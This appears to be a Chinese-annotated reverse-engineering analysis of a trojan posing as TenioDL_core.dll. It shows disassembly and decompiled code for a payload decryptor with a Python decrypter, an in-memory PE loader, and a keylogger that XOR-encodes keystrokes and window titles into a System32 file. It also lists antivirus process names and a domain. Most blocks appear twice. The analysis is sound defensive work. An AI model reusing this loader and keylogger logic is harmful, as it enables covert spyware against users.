.text:100016C5 80 C2 08                      add     dl, 8
.text:100016C8 90                            nop
.text:100016C9 8B 75 0C                      mov     esi, [ebp+arg_4]
.text:100016CC 85 F6                         test    esi, esi

.text:100016CE 76 0F                         jbe     short loc_100016DF
.text:100016CE
.text:100016D0 8B 45 08                      mov     eax, [ebp+arg_0]
.text:100016D0
.text:100016D3
.text:100016D3                               loc_100016D3:                           ; CODE XREF: TrojanDecrypt+2D↓j
.text:100016D3 8A 08                         mov     cl, [eax]
.text:100016D5 32 CA                         xor     cl, dl
.text:100016D7 2A CA                         sub     cl, dl
.text:100016D9 88 08                         mov     [eax], cl
.text:100016DB 40                            inc     eax
.text:100016DC 4E                            dec     esi

.text:100016DD 75 F4                         jnz     short loc_100016D3
.text:100016DD
.text:100016DF
.text:100016DF                               loc_100016DF:                           ; CODE XREF: TrojanDecrypt+1E↑j
.text:100016DF 5E                            pop     esi
.text:100016E0 5D                            pop     ebp
.text:100016E1 C3                            retn
.text:100016E1
.text:100016E1                               TrojanDecrypt endp
.text:100016B0                               ; =============== S U B R O U T I N E =======================================
.text:100016B0
.text:100016B0                               ; 病毒解密函数
.text:100016B0                               ; Attributes: bp-based frame
.text:100016B0

.text:100016B0                               ; int __cdecl TrojanDecrypt(int, int, unsigned __int8)

.text:100016B0                               TrojanDecrypt proc near                 ; CODE XREF: TenioDL_Initialize(void)+B7↓p
.text:100016B0
.text:100016B0                               arg_0= dword ptr  8
.text:100016B0                               arg_4= dword ptr  0Ch
.text:100016B0                               arg_8= byte ptr  10h
.text:100016B0
.text:100016B0 55                            push    ebp
.text:100016B1 8B EC                         mov     ebp, esp
.text:100016B3 56                            push    esi
.text:100016B4 90                            nop
.text:100016B5 90                            nop
.text:100016B6 90                            nop
.text:100016B7 90                            nop
.text:100016B8 90                            nop
.text:100016B9 0F B6 45 10                   movzx   eax, [ebp+arg_8]
.text:100016BD 99                            cdq
.text:100016BE B9 A9 00 00 00                mov     ecx, 0A9h
.text:100016C3 F7 F9                         idiv    ecx
.text:100016C5 80 C2 08                      add     dl, 8
.text:100016C8 90                            nop
.text:100016C9 8B 75 0C                      mov     esi, [ebp+arg_4]
.text:100016CC 85 F6                         test    esi, esi

.text:100016CE 76 0F                         jbe     short loc_100016DF
.text:100016CE
.text:100016D0 8B 45 08                      mov     eax, [ebp+arg_0]
.text:100016D0
.text:100016D3
.text:100016D3                               loc_100016D3:                           ; CODE XREF: TrojanDecrypt+2D↓j
.text:100016D3 8A 08                         mov     cl, [eax]
.text:100016D5 32 CA                         xor     cl, dl
.text:100016D7 2A CA                         sub     cl, dl
.text:100016D9 88 08                         mov     [eax], cl
.text:100016DB 40                            inc     eax
.text:100016DC 4E                            dec     esi

.text:100016DD 75 F4                         jnz     short loc_100016D3
.text:100016DD
.text:100016DF
.text:100016DF                               loc_100016DF:                           ; CODE XREF: TrojanDecrypt+1E↑j
.text:100016DF 5E                            pop     esi
.text:100016E0 5D                            pop     ebp
.text:100016E1 C3                            retn
.text:100016E1
.text:100016E1                               TrojanDecrypt endp
*(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8);
++result;
--v4;
*(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8);
++result;
--v4;

def decrypt_data(input_file, output_file, key):

    # 读取输入文件

    with open(input_file, 'rb') as f:

        encrypted_data = f.read()
 

    decrypted_data = bytearray()

    # 解密过程

    for byte in encrypted_data:

        decrypted_byte = ((key % 169 + 8) ^ byte) - (key % 169 + 8)

        # 由于减法可能导致字节值小于0，我们需要将其模256以保持在有效字节范围内

        decrypted_data.append(decrypted_byte & 0xFF)
 

    # 写入输出文件

    with open(output_file, 'wb') as f:

        f.write(decrypted_data)
 
# 解密密钥

key = 0x18
# 调用解密函数

decrypt_data('Config.dat', 'result.dat', key)

def decrypt_data(input_file, output_file, key):

    # 读取输入文件

    with open(input_file, 'rb') as f:

        encrypted_data = f.read()
 

    decrypted_data = bytearray()

    # 解密过程

    for byte in encrypted_data:

        decrypted_byte = ((key % 169 + 8) ^ byte) - (key % 169 + 8)

        # 由于减法可能导致字节值小于0，我们需要将其模256以保持在有效字节范围内

        decrypted_data.append(decrypted_byte & 0xFF)
 

    # 写入输出文件

    with open(output_file, 'wb') as f:

        f.write(decrypted_data)
 
# 解密密钥

key = 0x18
# 调用解密函数

decrypt_data('Config.dat', 'result.dat', key)
// 入参为病毒PE文件句柄
_DWORD *__cdecl sub_10001000(_DWORD *Src)
{

  HMODULE LibraryA; // eax

  HMODULE v2; // eax

  char *v3; // esi

  char *v4; // ebx

  HANDLE ProcessHeap; // eax

  _DWORD *v6; // edi

  char *v7; // eax

  char *v8; // eax

  LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); // [esp+Ch] [ebp-4h]

  char *v11; // [esp+Ch] [ebp-4h]
 

  LibraryA = LoadLibraryA(LibFileName);         // kernel32.dll

  VirtualAlloc = (LPVOID (__stdcall *)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(LibraryA, ProcName);// VirtuallAlloc

  v2 = LoadLibraryA(LibFileName);

  GetProcAddress(v2, aVirtualprotect);          // VirtualProtect

  GetForegroundWindow();

  GetInputState();

  GetForegroundWindow();

  GetInputState();

  if ( *(_WORD *)Src != 23117 )                 // 0X4D5A "MZ"

    return 0;

  v3 = (char *)Src + Src[15];                   // 为什么是src+src[15]？这里应该是要到达PE头，但是难道不是访问e_lfanew吗？偏移为0x3c

                                                // 答：可能是经过了编译器优化，或者特殊的编程技巧。反正这里一定是指向的NT头

  if ( *(_DWORD *)v3 != 17744 )                 // 0x4550 "PE"

    return 0;

  v4 = (char *)VirtualAlloc(*((LPVOID *)v3 + 13), *((_DWORD *)v3 + 20), 0x2000, 4);// 尝试在ImageBase地址处开辟大小为SizeOfImage大小的内存

  if ( !v4 )

  {

    v4 = (char *)VirtualAlloc(0, *((_DWORD *)v3 + 20), 0x2000, 4);// 随机开辟SizeOfImage大小的内存

    if ( !v4 )

      return 0;

  }

  ProcessHeap = GetProcessHeap();               // 获取进程堆句柄

  v6 = HeapAlloc(ProcessHeap, 0, 0x14u);        // 开辟0x14大小的堆，未初始化内存

  v6[1] = v4;                                   // 注册刚刚分配的虚拟内存

  v6[3] = 0;

  v6[2] = 0;

  v6[4] = 0;

  VirtualAlloc(v4, *((_DWORD *)v3 + 20), 4096, 4);// 这可能是反编译的误解，这里没有必要

  v11 = (char *)VirtualAlloc(v4, *((_DWORD *)v3 + 21), 4096, 4);

  memcpy(v11, Src, *((_DWORD *)v3 + 21) + Src[15]);

  v7 = &v11[Src[15]];

  *v6 = v7;

  *((_DWORD *)v7 + 13) = v4;

  sub_10001171(Src, v3, v6);

  if ( v4 != *((char **)v3 + 13) )

    sub_10001339(v6, &v4[-*((_DWORD *)v3 + 13)]);

  if ( !sub_100013CA(v6) )

  {
LABEL_11:

    sub_10001587(v6);

    return 0;

  }

  sub_1000125D(v6);

  if ( *(_DWORD *)(*v6 + 40) )

  {

    GetForegroundWindow();

    GetInputState();

    GetForegroundWindow();

    GetInputState();

    v8 = &v4[*(_DWORD *)(*v6 + 40)];

    if ( !v8 || !((int (__stdcall *)(char *, int, _DWORD))v8)(v4, 1, 0) )

      goto LABEL_11;

    v6[4] = 1;

  }

  return v6;
}
// 入参为病毒PE文件句柄
_DWORD *__cdecl sub_10001000(_DWORD *Src)
{

  HMODULE LibraryA; // eax

  HMODULE v2; // eax

  char *v3; // esi

  char *v4; // ebx

  HANDLE ProcessHeap; // eax

  _DWORD *v6; // edi

  char *v7; // eax

  char *v8; // eax

  LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); // [esp+Ch] [ebp-4h]

  char *v11; // [esp+Ch] [ebp-4h]
 

  LibraryA = LoadLibraryA(LibFileName);         // kernel32.dll

  VirtualAlloc = (LPVOID (__stdcall *)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(LibraryA, ProcName);// VirtuallAlloc

  v2 = LoadLibraryA(LibFileName);

  GetProcAddress(v2, aVirtualprotect);          // VirtualProtect

  GetForegroundWindow();

  GetInputState();

  GetForegroundWindow();

  GetInputState();

  if ( *(_WORD *)Src != 23117 )                 // 0X4D5A "MZ"

    return 0;

  v3 = (char *)Src + Src[15];                   // 为什么是src+src[15]？这里应该是要到达PE头，但是难道不是访问e_lfanew吗？偏移为0x3c

                                                // 答：可能是经过了编译器优化，或者特殊的编程技巧。反正这里一定是指向的NT头

  if ( *(_DWORD *)v3 != 17744 )                 // 0x4550 "PE"

    return 0;

  v4 = (char *)VirtualAlloc(*((LPVOID *)v3 + 13), *((_DWORD *)v3 + 20), 0x2000, 4);// 尝试在ImageBase地址处开辟大小为SizeOfImage大小的内存

  if ( !v4 )

  {

    v4 = (char *)VirtualAlloc(0, *((_DWORD *)v3 + 20), 0x2000, 4);// 随机开辟SizeOfImage大小的内存

    if ( !v4 )

      return 0;

  }

  ProcessHeap = GetProcessHeap();               // 获取进程堆句柄

  v6 = HeapAlloc(ProcessHeap, 0, 0x14u);        // 开辟0x14大小的堆，未初始化内存

  v6[1] = v4;                                   // 注册刚刚分配的虚拟内存

  v6[3] = 0;

  v6[2] = 0;

  v6[4] = 0;

  VirtualAlloc(v4, *((_DWORD *)v3 + 20), 4096, 4);// 这可能是反编译的误解，这里没有必要

  v11 = (char *)VirtualAlloc(v4, *((_DWORD *)v3 + 21), 4096, 4);

  memcpy(v11, Src, *((_DWORD *)v3 + 21) + Src[15]);

  v7 = &v11[Src[15]];

  *v6 = v7;

  *((_DWORD *)v7 + 13) = v4;

  sub_10001171(Src, v3, v6);

  if ( v4 != *((char **)v3 + 13) )

    sub_10001339(v6, &v4[-*((_DWORD *)v3 + 13)]);

  if ( !sub_100013CA(v6) )

  {
LABEL_11:

    sub_10001587(v6);

    return 0;

  }

  sub_1000125D(v6);

  if ( *(_DWORD *)(*v6 + 40) )

  {

    GetForegroundWindow();

    GetInputState();

    GetForegroundWindow();

    GetInputState();

    v8 = &v4[*(_DWORD *)(*v6 + 40)];

    if ( !v8 || !((int (__stdcall *)(char *, int, _DWORD))v8)(v4, 1, 0) )

      goto LABEL_11;

    v6[4] = 1;

  }

  return v6;
}
v5 = sub_10001000(v4);
v6 = v5;

if ( !v5 )

    return 0;

v8 = (void (*)(void))sub_100014DE((int)v5, String1);

if ( v8 )
{

    v8();

    v0 = 42;
}
sub_10001587(v6);

return v0;
}
v5 = sub_10001000(v4);
v6 = v5;

if ( !v5 )

    return 0;

v8 = (void (*)(void))sub_100014DE((int)v5, String1);

if ( v8 )
{

    v8();

    v0 = 42;
}
sub_10001587(v6);

return v0;
}
021DAC60 | 81EC EC0D0000            | sub esp,DEC                             |

021DAC66 | 68 4CC31E02              | push 21EC34C                            | 21EC34C:"KSafeTray.exe"
021DAC6B | E8 A0FAFFFF              | call 21DA710                            |
021DAC70 | 83C4 04                  | add esp,4                               |
021DAC73 | 85C0                     | test eax,eax                            |
021DAC75 | 74 0D                    | je 21DAC84                              |

021DAC77 | 68 4CC31E02              | push 21EC34C                            | 21EC34C:"KSafeTray.exe"
021DAC7C | E8 BFF4FFFF              | call 21DA140                            |
021DAC81 | 83C4 04                  | add esp,4                               |
021DAC84 | 53                       | push ebx                                |
021DAC85 | 55                       | push ebp                                |

021DAC86 | 56                       | push esi                                | esi:&"PE"
021DAC87 | 57                       | push edi                                |
021DAC88 | 33DB                     | xor ebx,ebx                             |

021DAC8A | B9 3F000000              | mov ecx,3F                              | ecx:"wow_helper", 3F:'?'
021DAC8F | 33C0                     | xor eax,eax                             |
021DAC91 | 8DBC24 F1070000          | lea edi,dword ptr ss:[esp+7F1]          |
021DAC98 | 889C24 F0070000          | mov byte ptr ss:[esp+7F0],bl            |

021DAC9F | 8B35 88511E02            | mov esi,dword ptr ds:[<&GetModuleFileNa | esi:&"PE"
021DACA5 | F3:AB                    | rep stosd                               |
021DACA7 | 66:AB                    | stosw                                   |
021DACA9 | AA                       | stosb                                   |
021DACAA | 8D8424 F0070000          | lea eax,dword ptr ss:[esp+7F0]          |
021DACB1 | 68 FF000000              | push FF                                 |
021DACB6 | 50                       | push eax                                |
021DACB7 | 53                       | push ebx                                |
021DACB8 | FFD6                     | call esi                                |
021DACBA | 8D8C24 F0070000          | lea ecx,dword ptr ss:[esp+7F0]          |

021DACC1 | 51                       | push ecx                                | ecx:"wow_helper"
021DACC2 | FF15 B4531E02            | call dword ptr ds:[<&CharLowerA>]       |
021DACC8 | 8D9424 F0070000          | lea edx,dword ptr ss:[esp+7F0]          |

021DACCF | 68 40C31E02              | push 21EC340                            | 21EC340:"load.exe"
021DACD4 | 52                       | push edx                                |
021DACD5 | FF15 00531E02            | call dword ptr ds:[<&StrStrA>]          |
021DACDB | 85C0                     | test eax,eax                            |
021DACDD | 0F84 C7010000            | je 21DAEAA                              |
021DACE3 | 53                       | push ebx                                |
021DACE4 | 8D8424 EC030000          | lea eax,dword ptr ss:[esp+3EC]          |
021DACEB | 6A 24                    | push 24                                 |
021DACED | 50                       | push eax                                |
021DACEE | 53                       | push ebx                                |
021DACEF | FF15 E0521E02            | call dword ptr ds:[<&SHGetSpecialFolder |
021DACF5 | 8D8C24 E8030000          | lea ecx,dword ptr ss:[esp+3E8]          |

021DACFC | 68 C8C11E02              | push 21EC1C8                            | 21EC1C8:"\\limit\\dllhost.exe"

021DAD01 | 51                       | push ecx                                | ecx:"wow_helper"
021DAD02 | FF15 30521E02            | call dword ptr ds:[<&lstrcatA>]         |
021DAD08 | 8B2D 60511E02            | mov ebp,dword ptr ds:[<&LoadLibraryA>]  |

021DAD0E | 68 A0C01E02              | push 21EC0A0                            | 21EC0A0:"kernel32.dll"
021DAC60 | 81EC EC0D0000            | sub esp,DEC                             |

021DAC66 | 68 4CC31E02              | push 21EC34C                            | 21EC34C:"KSafeTray.exe"
021DAC6B | E8 A0FAFFFF              | call 21DA710                            |
021DAC70 | 83C4 04                  | add esp,4                               |
021DAC73 | 85C0                     | test eax,eax                            |
021DAC75 | 74 0D                    | je 21DAC84                              |

021DAC77 | 68 4CC31E02              | push 21EC34C                            | 21EC34C:"KSafeTray.exe"
021DAC7C | E8 BFF4FFFF              | call 21DA140                            |
021DAC81 | 83C4 04                  | add esp,4                               |
021DAC84 | 53                       | push ebx                                |
021DAC85 | 55                       | push ebp                                |

021DAC86 | 56                       | push esi                                | esi:&"PE"
021DAC87 | 57                       | push edi                                |
021DAC88 | 33DB                     | xor ebx,ebx                             |

021DAC8A | B9 3F000000              | mov ecx,3F                              | ecx:"wow_helper", 3F:'?'
021DAC8F | 33C0                     | xor eax,eax                             |
021DAC91 | 8DBC24 F1070000          | lea edi,dword ptr ss:[esp+7F1]          |
021DAC98 | 889C24 F0070000          | mov byte ptr ss:[esp+7F0],bl            |

021DAC9F | 8B35 88511E02            | mov esi,dword ptr ds:[<&GetModuleFileNa | esi:&"PE"
021DACA5 | F3:AB                    | rep stosd                               |
021DACA7 | 66:AB                    | stosw                                   |
021DACA9 | AA                       | stosb                                   |
021DACAA | 8D8424 F0070000          | lea eax,dword ptr ss:[esp+7F0]          |
021DACB1 | 68 FF000000              | push FF                                 |
021DACB6 | 50                       | push eax                                |
021DACB7 | 53                       | push ebx                                |
021DACB8 | FFD6                     | call esi                                |
021DACBA | 8D8C24 F0070000          | lea ecx,dword ptr ss:[esp+7F0]          |

021DACC1 | 51                       | push ecx                                | ecx:"wow_helper"
021DACC2 | FF15 B4531E02            | call dword ptr ds:[<&CharLowerA>]       |
021DACC8 | 8D9424 F0070000          | lea edx,dword ptr ss:[esp+7F0]          |

021DACCF | 68 40C31E02              | push 21EC340                            | 21EC340:"load.exe"
021DACD4 | 52                       | push edx                                |
021DACD5 | FF15 00531E02            | call dword ptr ds:[<&StrStrA>]          |
021DACDB | 85C0                     | test eax,eax                            |
021DACDD | 0F84 C7010000            | je 21DAEAA                              |
021DACE3 | 53                       | push ebx                                |
021DACE4 | 8D8424 EC030000          | lea eax,dword ptr ss:[esp+3EC]          |
021DACEB | 6A 24                    | push 24                                 |
021DACED | 50                       | push eax                                |
021DACEE | 53                       | push ebx                                |
021DACEF | FF15 E0521E02            | call dword ptr ds:[<&SHGetSpecialFolder |
021DACF5 | 8D8C24 E8030000          | lea ecx,dword ptr ss:[esp+3E8]          |

021DACFC | 68 C8C11E02              | push 21EC1C8                            | 21EC1C8:"\\limit\\dllhost.exe"

021DAD01 | 51                       | push ecx                                | ecx:"wow_helper"
021DAD02 | FF15 30521E02            | call dword ptr ds:[<&lstrcatA>]         |
021DAD08 | 8B2D 60511E02            | mov ebp,dword ptr ds:[<&LoadLibraryA>]  |

021DAD0E | 68 A0C01E02              | push 21EC0A0                            | 21EC0A0:"kernel32.dll"
.data:1001B744  0000000E    C   [Pause Break]
.data:1001B754  00000008    C   [Shift]
.data:1001B75C  00000006    C   [Alt]
.data:1001B764  00000008    C   [CLEAR]
.data:1001B76C  0000000C    C   [BACKSPACE]
.data:1001B778  00000009    C   [DELETE]
.data:1001B784  00000009    C   [INSERT]
.data:1001B798  0000000B    C   [Num Lock]
.data:1001B7A4  00000007    C   [Down]
.data:1001B7AC  00000008    C   [Right]
.data:1001B7BC  00000007    C   [Left]
.data:1001B7C4  0000000B    C   [PageDown]
.data:1001B7D0  00000006    C   [End]
.data:1001B7D8  00000009    C   [Delete]
.data:1001B7E4  00000009    C   [PageUp]
.data:1001B7F0  00000007    C   [Home]
.data:1001B7F8  00000009    C   [Insert]
.data:1001B804  0000000E    C   [Scroll Lock]
.data:1001B814  0000000F    C   [Print Screen]
.data:1001B82C  00000006    C   [WIN]
.data:1001B834  00000007    C   [CTRL]
.data:1001B8C4  00000006    C   [TAB]
.data:1001B900  00000006    C   [F12]
.data:1001B908  00000006    C   [F11]
.data:1001B910  00000006    C   [F10]
.data:1001B960  00000006    C   [ESC]
.data:1001B968  00000008    C   [Enter]
.data:1001B9A8  0000000A    C   <Enter>\r\n
.data:1001B9B4  0000000C    C   <BackSpace>
.data:1001B744  0000000E    C   [Pause Break]
.data:1001B754  00000008    C   [Shift]
.data:1001B75C  00000006    C   [Alt]
.data:1001B764  00000008    C   [CLEAR]
.data:1001B76C  0000000C    C   [BACKSPACE]
.data:1001B778  00000009    C   [DELETE]
.data:1001B784  00000009    C   [INSERT]
.data:1001B798  0000000B    C   [Num Lock]
.data:1001B7A4  00000007    C   [Down]
.data:1001B7AC  00000008    C   [Right]
.data:1001B7BC  00000007    C   [Left]
.data:1001B7C4  0000000B    C   [PageDown]
.data:1001B7D0  00000006    C   [End]
.data:1001B7D8  00000009    C   [Delete]
.data:1001B7E4  00000009    C   [PageUp]
.data:1001B7F0  00000007    C   [Home]
.data:1001B7F8  00000009    C   [Insert]
.data:1001B804  0000000E    C   [Scroll Lock]
.data:1001B814  0000000F    C   [Print Screen]
.data:1001B82C  00000006    C   [WIN]
.data:1001B834  00000007    C   [CTRL]
.data:1001B8C4  00000006    C   [TAB]
.data:1001B900  00000006    C   [F12]
.data:1001B908  00000006    C   [F11]
.data:1001B910  00000006    C   [F10]
.data:1001B960  00000006    C   [ESC]
.data:1001B968  00000008    C   [Enter]
.data:1001B9A8  0000000A    C   <Enter>\r\n
.data:1001B9B4  0000000C    C   <BackSpace>
.data:1001BAB4  0000000E    C   981859203.com
.data:1001BAB4  0000000E    C   981859203.com
.data:1001C1C8  00000013    C   \\limit\\dllhost.exe

.data:1001C1FC  0000000F    C   //Explorer.EXE
.data:1001C20C  0000000C    C   360Tray.exe
.data:1001C224  00000008    C   \\Au.exe
.data:1001C264  00000009    C   c:\\1.jpg
.data:1001C270  00000018    C   \\limit\\TenioDL_core.dll
.data:1001C288  00000012    C   \\TenioDL_core.dll
.data:1001C29C  00000012    C   \\limit\\config.dat
.data:1001C2B0  0000000C    C   \\config.dat
.data:1001C2BC  0000000D    C   \\dllhost.exe
.data:1001C2CC  00000007    C   \\limit
.data:1001C2D4  00000010    C   \\limit\\load.exe
.data:1001C2EC  00000008    C   \\io.dat
.data:1001C2F8  0000001B    C   \\Tencent\\QQGAME\\QQGame.exe
.data:1001C314  00000008    C   \\QQGAME
.data:1001C31C  00000009    C   \\Tencent
.data:1001C340  00000009    C   load.exe
.data:1001C34C  0000000E    C   KSafeTray.exe
.data:1001C36C  00000010    C   \\Tencent\\QQGAME
.data:1001C1C8  00000013    C   \\limit\\dllhost.exe

.data:1001C1FC  0000000F    C   //Explorer.EXE
.data:1001C20C  0000000C    C   360Tray.exe
.data:1001C224  00000008    C   \\Au.exe
.data:1001C264  00000009    C   c:\\1.jpg
.data:1001C270  00000018    C   \\limit\\TenioDL_core.dll
.data:1001C288  00000012    C   \\TenioDL_core.dll
.data:1001C29C  00000012    C   \\limit\\config.dat
.data:1001C2B0  0000000C    C   \\config.dat
.data:1001C2BC  0000000D    C   \\dllhost.exe
.data:1001C2CC  00000007    C   \\limit
.data:1001C2D4  00000010    C   \\limit\\load.exe
.data:1001C2EC  00000008    C   \\io.dat
.data:1001C2F8  0000001B    C   \\Tencent\\QQGAME\\QQGame.exe
.data:1001C314  00000008    C   \\QQGAME
.data:1001C31C  00000009    C   \\Tencent
.data:1001C340  00000009    C   load.exe
.data:1001C34C  0000000E    C   KSafeTray.exe
.data:1001C36C  00000010    C   \\Tencent\\QQGAME
v2 = 0;

while ( 1 )
{

  KeyState = GetKeyState(16); // 检查Shift键是否被按下

  v4 = dword_1001B4F4[v2]; // 获取当前迭代中指定的键的虚拟键码

  v5 = KeyState; // 存储Shift键的状态

  if ( (((unsigned __int16)GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下

  {

    // ...其他代码处理按键释放...

  }

  else

  {

    // ...其他代码处理按键按下...

  }

  // ...循环的其他部分...

  if ( ++v2 >= 101 )

    break;
}
v2 = 0;

while ( 1 )
{

  KeyState = GetKeyState(16); // 检查Shift键是否被按下

  v4 = dword_1001B4F4[v2]; // 获取当前迭代中指定的键的虚拟键码

  v5 = KeyState; // 存储Shift键的状态

  if ( (((unsigned __int16)GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下

  {

    // ...其他代码处理按键释放...

  }

  else

  {

    // ...其他代码处理按键按下...

  }

  // ...循环的其他部分...

  if ( ++v2 >= 101 )

    break;
}

if ( (((unsigned __int16)GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下
{

    v6 = v8[v4];

    if ( v6 )

    {

        v8[v4] = 0;

        if ( v4 == 8 ) // 如果是退格键

        {

            lstrcatA(String, aBackspace); // 添加退格字符到String数组

            sub_10005DF0(String); // 发送String数组的内容

        }

        else if ( lstrlenA(String) <= 550 ) // 如果String数组的长度小于或等于550

        {

            if ( v4 != 13 ) // 如果不是回车键

            {

                if ( v6 % 2 == 1 ) // 如果v8数组中的值是奇数

                {

                    lstrcatA(String, off_1001B360[v2]); // 添加大写字母到String数组

                }

                else if ( !(v6 % 2) ) // 如果v8数组中的值是偶数

                {

                    lstrcatA(String, off_1001B1CC[v2]); // 添加小写字母到String数组

                }

            }

            else // 如果是回车键

            {

                lstrcatA(String, aEnter); // 添加回车字符到String数组

                sub_10005DF0(String); // 发送String数组的内容

            }

        }

        else // 如果String数组的长度超过550

        {

            sub_10005DF0(String); // 发送String数组的内容

        }

        memset(String, 0, sizeof(String)); // 清空String数组

    }
}

else // 如果v4指定的键被按下
{

    // ...代码处理按键按下的情况...
}

if ( (((unsigned __int16)GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下
{

    v6 = v8[v4];

    if ( v6 )

    {

        v8[v4] = 0;

        if ( v4 == 8 ) // 如果是退格键

        {

            lstrcatA(String, aBackspace); // 添加退格字符到String数组

            sub_10005DF0(String); // 发送String数组的内容

        }

        else if ( lstrlenA(String) <= 550 ) // 如果String数组的长度小于或等于550

        {

            if ( v4 != 13 ) // 如果不是回车键

            {

                if ( v6 % 2 == 1 ) // 如果v8数组中的值是奇数

                {

                    lstrcatA(String, off_1001B360[v2]); // 添加大写字母到String数组

                }

                else if ( !(v6 % 2) ) // 如果v8数组中的值是偶数

                {

                    lstrcatA(String, off_1001B1CC[v2]); // 添加小写字母到String数组

                }

            }

            else // 如果是回车键

            {

                lstrcatA(String, aEnter); // 添加回车字符到String数组

                sub_10005DF0(String); // 发送String数组的内容

            }

        }

        else // 如果String数组的长度超过550

        {

            sub_10005DF0(String); // 发送String数组的内容

        }

        memset(String, 0, sizeof(String)); // 清空String数组

    }
}

else // 如果v4指定的键被按下
{

    // ...代码处理按键按下的情况...
}

BOOL __cdecl sub_10005DF0(LPCSTR lpString)
{

    HANDLE FileA; // ebp

    int v2; // esi

    _BYTE *v3; // eax

    const void *v4; // edi

    const CHAR *v5; // ecx

    int v6; // eax

    DWORD NumberOfBytesWritten; // [esp+10h] [ebp-108h] BYREF

    CHAR Buffer[260]; // [esp+14h] [ebp-104h] BYREF
 

    GetSystemDirectoryA(Buffer, 0x104u); // 获取系统目录路径

    strcat(Buffer, asc_1001B83C);   // 追加'\'

    strcat(Buffer, aWindows);   // 追加'Windows'

    strcat(Buffer, aKey);   // 追加'.key'

    // 创建文件

    // C:\Windows\System32\Windows.key

    FileA = CreateFileA(Buffer, 0x40000000u, 2u, 0, 4u, 0x80u, 0);

    NumberOfBytesWritten = 0;

    // GetFileSize检查文件大小，如果小于50MB（0x3200000字节）

    // SetFilePointer将文件指针移动到文件末尾，准备追加数据

    if ( GetFileSize(FileA, 0) < 0x3200000 )

        SetFilePointer(FileA, 0, 0, 2u);

    // 计算传入的string参数长度，new一个空间

    v2 = lstrlenA(lpString);

    v3 = operator new(v2);

    v4 = v3;

    if ( v2 > 0 )

    {

        // 参数字符串与新开辟的字符串内存地址偏移

        v5 = (const CHAR *)(lpString - v3); 

        do

            {

                // 利用v3指针与偏移，提取处理后的lpstring数据到v3内存

                // lpstring每一位与0x62进行异或操作

                *v3 = v3[(_DWORD)v5] ^ 0x62;

                ++v3;

                --v2;

            }

            while ( v2 );

    }

    v6 = lstrlenA(lpString);

    // 将异或后的数据写入Windows.key文件

    WriteFile(FileA, v4, v6, &NumberOfBytesWritten, 0);

    return CloseHandle(FileA);
}

BOOL __cdecl sub_10005DF0(LPCSTR lpString)
{

    HANDLE FileA; // ebp

    int v2; // esi

    _BYTE *v3; // eax

    const void *v4; // edi

    const CHAR *v5; // ecx

    int v6; // eax

    DWORD NumberOfBytesWritten; // [esp+10h] [ebp-108h] BYREF

    CHAR Buffer[260]; // [esp+14h] [ebp-104h] BYREF
 

    GetSystemDirectoryA(Buffer, 0x104u); // 获取系统目录路径

    strcat(Buffer, asc_1001B83C);   // 追加'\'

    strcat(Buffer, aWindows);   // 追加'Windows'

    strcat(Buffer, aKey);   // 追加'.key'

    // 创建文件

    // C:\Windows\System32\Windows.key

    FileA = CreateFileA(Buffer, 0x40000000u, 2u, 0, 4u, 0x80u, 0);

    NumberOfBytesWritten = 0;

    // GetFileSize检查文件大小，如果小于50MB（0x3200000字节）

    // SetFilePointer将文件指针移动到文件末尾，准备追加数据

    if ( GetFileSize(FileA, 0) < 0x3200000 )

        SetFilePointer(FileA, 0, 0, 2u);

    // 计算传入的string参数长度，new一个空间

    v2 = lstrlenA(lpString);

    v3 = operator new(v2);

    v4 = v3;

    if ( v2 > 0 )

    {

        // 参数字符串与新开辟的字符串内存地址偏移

        v5 = (const CHAR *)(lpString - v3); 

        do

            {

                // 利用v3指针与偏移，提取处理后的lpstring数据到v3内存

                // lpstring每一位与0x62进行异或操作

                *v3 = v3[(_DWORD)v5] ^ 0x62;

                ++v3;

                --v2;

            }

            while ( v2 );

    }

    v6 = lstrlenA(lpString);

    // 将异或后的数据写入Windows.key文件

    WriteFile(FileA, v4, v6, &NumberOfBytesWritten, 0);

    return CloseHandle(FileA);
}
// 程序末尾
LABEL_35:

if ( ++v2 >= 101 )

    goto LABEL_3;
}
 
LABEL_3:

Sleep(0xAu);                                // 线程暂停10ms

if ( lstrlenA(String) )                     // 检查string长度
{

    if ( sub_10005F30() )                     // string非空调用

    {

        SaveStrToLocalFile(asc_1001B9C0);

        SaveStrToLocalFile(String);

    }

    else

    {

        SaveStrToLocalFile(String);

    }

    memset(String, 0, sizeof(String));
}
// 程序末尾
LABEL_35:

if ( ++v2 >= 101 )

    goto LABEL_3;
}
 
LABEL_3:

Sleep(0xAu);                                // 线程暂停10ms

if ( lstrlenA(String) )                     // 检查string长度
{

    if ( sub_10005F30() )                     // string非空调用

    {

        SaveStrToLocalFile(asc_1001B9C0);

        SaveStrToLocalFile(String);

    }

    else

    {

        SaveStrToLocalFile(String);

    }

    memset(String, 0, sizeof(String));
}

int sub_10005F30()
{

  int v0; // esi

  struct _SYSTEMTIME SystemTime; // [esp+8h] [ebp-410h] BYREF

  CHAR String[1021]; // [esp+18h] [ebp-400h] BYREF

  __int16 v4; // [esp+415h] [ebp-3h]

  char v5; // [esp+417h] [ebp-1h]
 

  memset(::String, 0, sizeof(::String));

  dword_10022A10 = (int)GetForegroundWindow();

  GetWindowTextA((HWND)dword_10022A10, ::String, 1024);

  memset(String, 0, sizeof(String));

  v0 = 0;

  v4 = 0;

  v5 = 0;

  if ( dword_10022A10 != dword_1002260C )

  {

    if ( lstrlenA(::String) > 0 )

    {

      GetLocalTime(&SystemTime);

      wsprintfA(

        String,

        asc_1001B97C,

        ::String,

        SystemTime.wYear,

        SystemTime.wMonth,

        SystemTime.wDay,

        SystemTime.wHour,

        SystemTime.wMinute,

        SystemTime.wSecond);

      SaveStrToLocalFile(String);

      memset(::String, 0, sizeof(::String));

      v0 = 1;

    }

    dword_1002260C = dword_10022A10;

  }

